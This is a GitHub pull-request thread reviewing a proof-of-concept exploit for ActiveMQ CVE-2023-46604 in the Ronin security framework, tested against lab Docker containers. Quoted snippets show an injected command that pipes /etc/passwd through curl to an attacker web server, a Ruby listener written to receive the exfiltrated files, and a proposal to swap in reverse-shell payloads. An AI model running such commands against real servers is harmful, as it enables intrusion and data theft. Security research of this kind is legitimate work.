-
-
Notifications
You must be signed in to change notification settings - Fork 2
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
POC exploit for CVE-2023-46604 #10
POC exploit for CVE-2023-46604 #10
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Wow wasn't expecting someone to jump in so quickly, this is great work considering your new to the project.
I included a bunch of minor suggestions on how to DRY up the code by using more built-in Ronin APIs.
We also need to decide whether to use an arbitrary CommandPayload
in the XML, which would allow executing any command payload, including cmd/*/reverse_shell
payloads in addition to file exfil payloads. Or keep the logic that only exfils a single file to a local web server.
I like the idea of a single file HTTP exfil payload, and think we should extract that into a Ronin::Payloads::Mixins::WebServer
, Ronin::Payloads::Mixins::HTTPExfil
, or Ronin::Exploits::Mixins::WebServer
, Ronin::Exploits::Mixins::HTTPExfil
module.
(I also think I should add a tcp_read
or tcp_recv
helper method to ronin-support
to DRY up that tcp_connect
code.)
exploits/activemq/CVE-2023-46604.rb
Outdated
<list> | ||
<value>bash</value> | ||
<value>-c</value> | ||
<value>cat /etc/passwd | curl --data-binary @- #{@web_url}/post</value> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Use #{payload}
for injecting a full command payload in, which would allow injecting in other cmd/
payloads (see ronin-payloads list
) such as the cmd/*/reverse_shell
payloads . We either wouldn't need the web server and just execute the command payload blindly (which is the case with reverse shell payloads that only spawn another connect back shell), or we could pipe the command payload's output back to the local web server for inspection?
exploits/activemq/CVE-2023-46604.rb
Outdated
# | ||
module Ronin | ||
module Exploits | ||
class Cve202346604 < Exploit |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Use < CommandInjection
if we're going to be injecting an arbitrary command.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I can't find a CommandInjection
class anywhere. Can you point me in the right direction?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@flavorjones It's defined in the ronin-exploits
1.1.0
branch at the last minute when I realized I needed it. :/ This of course makes working on community-pocs
a bit awkward until the new minor versions get released.
exploits/activemq/CVE-2023-46604.rb
Outdated
<list> | ||
<value>bash</value> | ||
<value>-c</value> | ||
<value>cat /etc/passwd | curl --data-binary @- #{@web_url}/post</value> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is also a great idea for another command payload we could add to ronin-payloads
that exfils an arbitrary file back to a web server. Ronin::Payloads::Payload
has pre-launch/post-launch methods which could be used to start the web server to receive the file.
Or we could eventually extract this code into generalized Ronin::Exploits::Mixins::WebServer
module.
@flavorjones also where did you get |
I'm also curious if this successfully runs against the vulhub activemq docker-compose file for CVE-2023-46604. |
Thanks for the review! I'll address or reply to the review comments today. Re: your other questions ...
Yeah, that makes sense and I'm happy to do that work as a separate commit in this PR if you're OK with it (else I can open a separate PR).
Honestly I have no idea. I had like ten web pages open (as well as an older version of Ronin on disk) trying to get a first draft working, and ended up with this syntax. Maybe I imagined it?
Yes! As long as I add host networking to the diff --git a/activemq/CVE-2023-46604/docker-compose.yml b/activemq/CVE-2023-46604/docker-compose.yml
index 1da45062..b907c6d8 100644
--- a/activemq/CVE-2023-46604/docker-compose.yml
+++ b/activemq/CVE-2023-46604/docker-compose.yml
@@ -6,3 +6,4 @@ services:
- "61616:61616"
- "8161:8161"
- "5005:5005"
+ network_mode: host |
da7b79b
to
3ba3741
Compare
I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You can specify endian: :net
to make all data types network-endian. Also I posted some example code of using Binary::Buffer
vs. Binary::Stream
.
@flavorjones this is probably pretty ugly compared to your code, but I think I can simplify the require 'socket'
CRLF = "\r\n".b
HEADER_SEPARATOR = CRLF * 2
BAD_REQUEST = [
'HTTP/1.0 400 Bad Request',
'Content-Type: text/html',
'Connection: close',
''
].join(CRLF) + CRLF
OK = [
'HTTP/1.1 200 OK',
'Content-Type: text/html',
'Content-Length: 0',
'Connection: close',
''
].join(CRLF) + CRLF
host = '0.0.0.0'
port = ARGV[0].to_i
server = TCPServer.new(host,port)
loop do
connection = server.accept
request_line = connection.gets(CRLF)
request_method, path, http_version = request_line.split(' ',3)
unless path == '/exfil'
connection.write(BAD_REQUEST)
connection.close
next
end
headers = {}
until (line = connection.gets(CRLF, chomp: true)).empty?
name, value = line.split(': ',2)
headers[name] = value
end
content_length = if headers['Content-Length']
headers['Content-Length'].to_i
end
file = connection.read(content_length)
connection.write(OK)
connection.close
puts "[+] Received file:"
puts file
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You can pull ronin-web-server
from rubygems.
3ba3741
to
77cd296
Compare
@postmodern I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes. I'm open to pulling in your TCPServer implementation, but I personally think it's less obvious what's going on when it's imperative code. I admit the Ronin::Web implementation is not extremely obvious, though, and so I don't feel strongly either way. Your call! Also, I haven't done the payload work you suggested above yet simply because I haven't had time to dig in on it yet. I should be able to get to it next week! |
@flavorjones excellent! Ultimately I will probably add a def web_server
@web_server ||= Class.new(Ronin::Web::Server::Base).tap do |server|
server.set :exploit, self
end
yield @web_server
end
def perform_launch
@web_server.run!(background: true)
super
end
def perform_cleanup
super
@web_server.stop!
end There's also some deep questions about whether the web server should be fully separate from the default Until then we can use your code just to have something that works. Once there is a |
Fix documentation formatting.
Make rubocop happy.
Attempt to make rubocop happy.
Remove trailing whitespace.
Add missing documentation.
Correct documentation. * ActiveMQ OpenWire, not AMQP.
@flavorjones going to add the GPLv3.0+ license per #12. Hope that's OK with you? |
Totally fine! |
Feedback welcome, I'm not sure what's expected of a contributed POC.
As mentioned in the comments, I tested this against local docker containers. Vulnerable versions are correctly detected with
perform_test
. Vulnerable servers connect to the embedded web server for the injection and to exfiltrate/etc/passwd
as a demonstration.Closes #7